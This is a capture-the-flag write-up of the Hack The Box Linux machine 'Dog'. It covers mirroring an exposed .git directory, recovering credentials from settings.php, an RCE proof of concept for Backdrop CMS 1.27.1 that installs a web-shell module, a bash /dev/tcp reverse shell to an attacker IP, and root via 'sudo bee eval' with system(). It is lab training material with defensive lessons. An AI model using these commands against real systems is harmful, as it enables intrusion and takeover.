This machine is a Linux-based challenge that tests a player’s ability to exploit exposed development artifacts and misconfigurations in a CMS. The initial foothold involves discovering an exposed .git directory, reconstructing the Git repository, and identifying the use of a vulnerable version of Backdrop CMS. Exploiting this vulnerability enables authenticated remote code execution, leading to a low-privileged shell. Privilege escalation is achieved by abusing a cron-executed script or insecure module running as root, typically by injecting malicious code into a file or module that the system executes with elevated privileges. The box emphasizes skills in source code leakage, CMS exploitation, and basic privilege escalation via cron.
Challenge Overview #
CTF Name: Dog
Category: Machines - Linux
Active/Retired (at pwn): Active
Difficulty (subjective): [4] Not too Easy
Author: FisMatHack
Date Released: 08 Mar 2025
Date Completed: 11 Jun 2025
CTF Link: https://app.hackthebox.com/machines/Dog
Tasks #
Submit User Flag Submit Root Flag
Own #
Nmap #
nmap -sC -sV 10.10.11.58
Scanning revealed a git repository at /.git
endpoint. It can be cloned with:
wget --mirror -I .git http://10.10.11.58/.git/
Analyze Folders #
There are a lot of objects and (probably) irrelevant files (458 directories, 2867 files). For now I will only inspect the first few layers of the repo and see where it is worth digging further.
The restored tree structure of the repo (3 layers deep, only directories):
tree -d -L 3
.
├── core
│ ├── includes
│ │ ├── database
│ │ ├── filetransfer
│ │ └── transliteration
│ ├── layouts
│ │ ├── boxton
│ │ ├── geary
│ │ ├── harris
│ │ ├── legacy
│ │ ├── moscone
│ │ ├── moscone_flipped
│ │ ├── rolph
│ │ ├── simmons
│ │ ├── sutro
│ │ ├── taylor
│ │ └── taylor_flipped
│ ├── misc
│ │ ├── ckeditor
│ │ ├── farbtastic
│ │ ├── opensans
│ │ ├── smartmenus
│ │ └── ui
│ ├── modules
│ │ ├── admin_bar
│ │ ├── block
│ │ ├── book
│ │ ├── ckeditor
│ │ ├── ckeditor5
│ │ ├── color
│ │ ├── comment
│ │ ├── config
│ │ ├── contact
│ │ ├── contextual
│ │ ├── dashboard
│ │ ├── date
│ │ ├── dblog
│ │ ├── email
│ │ ├── entity
│ │ ├── entityreference
│ │ ├── field
│ │ ├── field_ui
│ │ ├── file
│ │ ├── filter
│ │ ├── image
│ │ ├── installer
│ │ ├── language
│ │ ├── layout
│ │ ├── link
│ │ ├── locale
│ │ ├── menu
│ │ ├── node
│ │ ├── path
│ │ ├── redirect
│ │ ├── search
│ │ ├── simpletest
│ │ ├── syslog
│ │ ├── system
│ │ ├── taxonomy
│ │ ├── telemetry
│ │ ├── translation
│ │ ├── update
│ │ ├── user
│ │ ├── views
│ │ └── views_ui
│ ├── profiles
│ │ ├── minimal
│ │ ├── standard
│ │ └── testing
│ ├── scripts
│ └── themes
│ ├── bartik
│ ├── basis
│ ├── engines
│ ├── seven
│ └── stark
├── files
│ ├── config_83dddd18e1ec67fd8ff5bba2453c7fb3
│ │ ├── active
│ │ └── staging
│ ├── css
│ ├── field
│ │ └── image
│ ├── js
│ └── styles
│ ├── large
│ ├── medium
│ └── thumbnail
├── layouts
├── sites
└── themes
92 directories
There appears an unusual config_83dddd18e1ec67fd8ff5bba2453c7fb3
directory reference in the codebase. To locate all occurrences:
./ $ grep -r config_83dddd18e1ec67fd8ff5bba2453c7fb3
settings.php:$config_directories['active'] = './files/config_83...b3/active';
settings.php:$config_directories['staging'] = './files/config_83...b3/staging';
Note: Long strings like the config folder have been and will be shortened by me to better fit in the document as the name doesn’t contain much relevant information.
A potentially useful file settings.php
was discovered. But firstly, analyze the config_83...b3
folder:
ls -a
. .. active staging
The full tree structure:
.
├── active
│ ├── admin_bar.settings.json
│ ├── dashboard.settings.json
│ ├── date_views.settings.json
│ ├── entity.view_modes.json
│ ├── field.field.body.json
│ ├── field.field.comment_body.json
│ ├── field.field.field_image.json
│ ├── field.field.field_tags.json
│ ├── field.instance.comment.comment_node_card.comment_body.json
│ ├── field.instance.comment.comment_node_page.comment_body.json
│ ├── field.instance.comment.comment_node_post.comment_body.json
│ ├── field.instance.node.card.body.json
│ ├── field.instance.node.card.field_image.json
│ ├── field.instance.node.page.body.json
│ ├── field.instance.node.post.body.json
│ ├── field.instance.node.post.field_image.json
│ ├── field.instance.node.post.field_tags.json
│ ├── file_display.audio.json
│ ├── file_display.document.json
│ ├── file_display.image.json
│ ├── file_display.video.json
│ ├── file.settings.json
│ ├── file.type.audio.json
│ ├── file.type.document.json
│ ├── file.type.image.json
│ ├── file.type.video.json
│ ├── filter.format.filtered_html.json
│ ├── filter.format.full_html.json
│ ├── filter.format.plain_text.json
│ ├── image.style.card.json
│ ├── image.style.large.json
│ ├── image.style.medium.json
│ ├── image.style.thumbnail.json
│ ├── installer.settings.json
│ ├── layout.layout.admin_default.json
│ ├── layout.layout.dashboard.json
│ ├── layout.layout.default.json
│ ├── layout.layout.home.json
│ ├── layout.menu_item.dashboard.json
│ ├── layout.menu_item.home.json
│ ├── layout.settings.json
│ ├── menu.menu.main-menu.json
│ ├── menu.menu.management.json
│ ├── menu.menu.user-menu.json
│ ├── menu.settings.json
│ ├── node.type.card.json
│ ├── node.type.page.json
│ ├── node.type.post.json
│ ├── path.settings.json
│ ├── README.md
│ ├── redirect.settings.json
│ ├── search.settings.json
│ ├── system.authorize.json
│ ├── system.core.json
│ ├── system.date.json
│ ├── system.mail.json
│ ├── taxonomy.settings.json
│ ├── taxonomy.vocabulary.tags.json
│ ├── telemetry.settings.json
│ ├── update.settings.json
│ ├── user.flood.json
│ ├── user.mail.json
│ ├── user.role.administrator.json
│ ├── user.role.anonymous.json
│ ├── user.role.authenticated.json
│ ├── user.role.editor.json
│ ├── views.settings.json
│ ├── views_ui.settings.json
│ ├── views.view.comments_recent.json
│ ├── views.view.file_admin.json
│ ├── views.view.image_library.json
│ ├── views.view.node_admin_content.json
│ ├── views.view.promoted_cards.json
│ ├── views.view.promoted.json
│ ├── views.view.taxonomy_term.json
│ └── views.view.user_admin.json
└── staging
└── README.md
3 directories, 77 files
Look for credentials #
A good start would be to search for some credentials in the json files:
./files/config_83...b3/active $ grep -Er 'pass|user|@|admin'
---snip--
active/update.settings.json: "tiffany@dog.htb"
---snip---
User Email #
Among the 200 matches, which didn’t provide any exact information, I managed to find an email: tiffany@dog.htb
. This is an exciting start.
Examine the update.settings.json
file, as it may contain other useful data:
cat ./files/config_83...b3/active/update.settings.json
{
"_config_name": "update.settings",
"_config_static": true,
"update_cron": 1,
"update_disabled_extensions": 0,
"update_interval_days": 0,
"update_url": "",
"update_not_implemented_url": "https://github.com/backdrop-ops/backdropcms.org/issues/22",
"update_max_attempts": 2,
"update_timeout": 30,
"update_emails": [
"tiffany@dog.htb"
],
"update_threshold": "all",
"update_requirement_type": 0,
"update_status": [],
"update_projects": []
}
The update_not_implemented_url
key reveals that the software relates to Backdrop CMS and references an open issue, implying incomplete update handling logic in the system using this config.
Database Credentials #
Now, to analyze settings.php
:
$ cat settings.php
<?php
/**
* @file
* Main Backdrop CMS configuration file.
*/
/**
* Database configuration:
*
* Most sites can configure their database by entering the connection string
* below. If using primary/replica databases or multiple connections, see the
* advanced database documentation at
* https://api.backdropcms.org/database-configuration
*/
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';
--snip
First thing that pops out is a $database
variable that encodes all the parameters needed for a db connection in a single string:
<scheme>://<username>:<password>@<host>/<database>
Later in the file, the config directory:
$config_directories['active'] = './files/config_83...b3/active';
$config_directories['staging'] = './files/config_83...b3/staging';
which we already discovered using a different approach.
There is also a hash salt, but it might not even be useful, so for now just keep it:
$settings['hash_salt'] = 'aWFvPQNGZSz1DQ701dD4lC5v1hQW34NefHvyZUzlThQ';
Attempt to login #
We accessed the dashboard. After some digging, I found a list of usernames in the user accounts
tab. The tiffany account has the administrator
role, just like every other account: tiffany, rosa, axel, morris, john, dogBackDropSystem, jobert, JPAdminB
Backdrop CMS 1.27.1 #
Other relevant information can be found in Reports
tab:
Backdrop CMS version: 1.27.1
PHP Version: 7.4.3-4ubuntu2.28
Web Server: Apache/2.4.41(Ubuntu)
Backdrop CMS update status: Failed to get available update data.
In dashboard overview: Updates last checked: 5 months 3 days ago
The Backdrop CMS version is relevant in vulnerability assesment.
Vulnerability Assesment & Exploitation #
“Backdrop CMS version 1.27.1 suffers from a remote command execution vulnerability.” (1)
Copy and the PoC into an exploit.py
file and execute it:
$ python3 exploit.py http://10.10.11.58
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
[+] Generating evil module...
[+] Evil module generated: shell.zip
[!] Go to http://10.10.11.58/admin/modules/install and upload the shell.zip for manual installation.
[!] Your shell will be accessible at: http://10.10.11.58/modules/shell/shell.php
A shell.zip
was generated. After following the admin/modules/install
link I attempted to install the shell.zip
. However this was unsuccessful, because it required the module to be a .gz
or .tar.gz
file. No problem, because we can easily archive and compress the shell/
dir as we please:
$ tar -czvf shell.tar.gz shell/*
This however was still unsuccessful, because of the error:
shell.tar.gz contains a version of Unknown that is not compatible with Backdrop 1.x.
Open exploit.py
and tweak the info section of the exploit. Add a new line: core = 1.x
---snip---
tags[] = Site Architecture
version = BACKDROP_VERSION
core = 1.x # Added this line
backdrop = 1.x
---snip
Rerun the file, try to upload the archive and it installed successfuly! We now have a web shell at http://10.10.11.58/modules/shell/shell.php
Reverse shell && Own user flag #
The web shell stopped working after one command, so I tried to install it again to open a reverse shell to my address (10.10.16.37
):
bash -c 'bash -i >& /dev/tcp/10.10.16.37/1234 0>&1'
And on my attack machine listen with netcat:
nc -lvnp 1234
We are logged in as www-data
. By listing directories in /home
we can see jobert
and johncusack
users. After inspecting their directories, it is clear that johncusack
has a user.txt
file, which is probably the user flag.
Switch users to johncusack
, use the same password as tiffany
:
$ su johncusack
$ cd /home/johncusack
$ cat user.txt
1c---snip--- 21
Lateral Movement #
An interesting file lateral.tar.gz
appeared in the Content
tab. It seems to be a module for Backdrop CMS. Other files in the content tab include: dog-obesity.jpg
, dog-food.jpg
, dog.jpeg
, dog-animal_DOTORLBDD7.jpg
, but they seem to be irrelevant for our tasks.
lateral.tar.gz
downloaded as: GfC_Qm7L
$ file GfC_Qm7L
GfC_Qm7L: gzip compressed data, from Unix, original size modulo 2^32 92160
Rename it and decompress:
$ tar -xzvf lateral.tar.gz
tinymce_emojis-1.x-1.x/
tinymce_emojis-1.x-1.x/README.md
tinymce_emojis-1.x-1.x/screenshots/
tinymce_emojis-1.x-1.x/screenshots/emojis-dialog.png
tinymce_emojis-1.x-1.x/screenshots/emoji-autocomplete.png
tinymce_emojis-1.x-1.x/tinymce_emojis.module
tinymce_emojis-1.x-1.x/LICENSE.txt
tinymce_emojis-1.x-1.x/.gitattributes
tinymce_emojis-1.x-1.x/shell.php
tinymce_emojis-1.x-1.x/tinymce_emojis.info
shell.php? Apparently this is the shell we were supposed to use, but we already have our reverse shell in place, so it is time to explore what we can do next.
From the previous steps while still logged in as johncusack
:
sudo -l -S
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
$ file /usr/local/bin/bee
/usr/local/bin/bee: symbolic link to /backdrop_tool/bee/bee.php
Bee is a command line utility for Backdrop CMS. It includes commands that allow developers to interact with Backdrop sites, performing actions like:
- Running cron
- Clearing caches
- Downloading and installing Backdrop
- Downloading, enabling and disabling projects
- Viewing information about a site and/or available projects (2)
Run bee:
$ sudo bee
Bee
Usage: bee [global-options] <command> [options] [arguments]
Global Options:
--root
Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.
--site
Specify the directory name or URL of the Backdrop site to use (as defined in 'sites.php'). If not set, will try to find the Backdrop site automatically based on the current directory.
---snip---
Bee usage.md
: https://github.com/backdrop-contrib/bee/blob/1.x-1.x/docs/Usage.md:
---snip---
eval:
Description:
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
Examples:
bee eval '$node = node_load(1); print $node->title;'
---snip---
Privilege Escalation & Own root flag #
Because johncusack
can run this binary as root, we can try and execute a command like:
sudo bee eval "system('cat /root/root.txt');"
It works, and we found the root flag.
It works, because it basically runs:
<?php system('cat /root/root.txt'); ?>
We could even spawn a root shell with /bin/bash
command using the same technique.
Lessons Learnt #
There isn’t much to do in this challenge if you don’t know what the .git
folder is and what information it stores. I encountered it many times when creating repositories or cloning them, but never really paid close attention to what it actually is, because it was always created automatically and is hidden.
What is the .git folder? #
Folder .git is initialized by git init
.
.git contains all information required for version control. If you want to clone your repository, copying .git is enough.
Four sub-directories:
- hooks/ : example scripts
- info/ :
exclude
file for ignored patterns - objects/ : all “objects”
- refs/ : pointers to commit objects
Four files:
- HEAD : the current branch
- config : configuration options
- description
- index : staging area
Here “object” includes:
- blobs (files)
- trees (directories)
- commits (reference to a tree, parent commit, etc.) (3)
.git Folder Exposure #
The presence of an exposed .git directory on a web server can lead to significant information leakage, including source code, configuration files, and sensitive data such as credentials. Always verify web servers for accidental .git exposure during assessments.
To restore a repo by using the .git
folder:
git checkout -- *
The repository will be completely restored to the last committed version. (4)
Configuration Files Contain Valuable Info #
Configuration files such as settings.php and JSON config files can reveal database credentials, software versions, and user information, providing critical footholds for further exploitation.
Reverse Shell Stability #
Basic web shells may be unstable; spawning a fully interactive reverse shell via standard tools (bash, netcat) is a more reliable method for system interaction.
Useful Resources #
- https://packetstorm.news/files/id/178631/
- https://github.com/backdrop-contrib/bee
- https://stackoverflow.com/questions/29217859/what-is-the-git-folder
- https://superuser.com/questions/1485520/can-the-git-folder-be-used-for-backup-and-restoring
Get Involved #
I think knowledge should be shared and discussions encouraged. So, don’t hesitate to ask questions, or suggest topics you’d like me to cover in future posts.
Stay Connected #
You can contact me at ion.miron@tutanota.com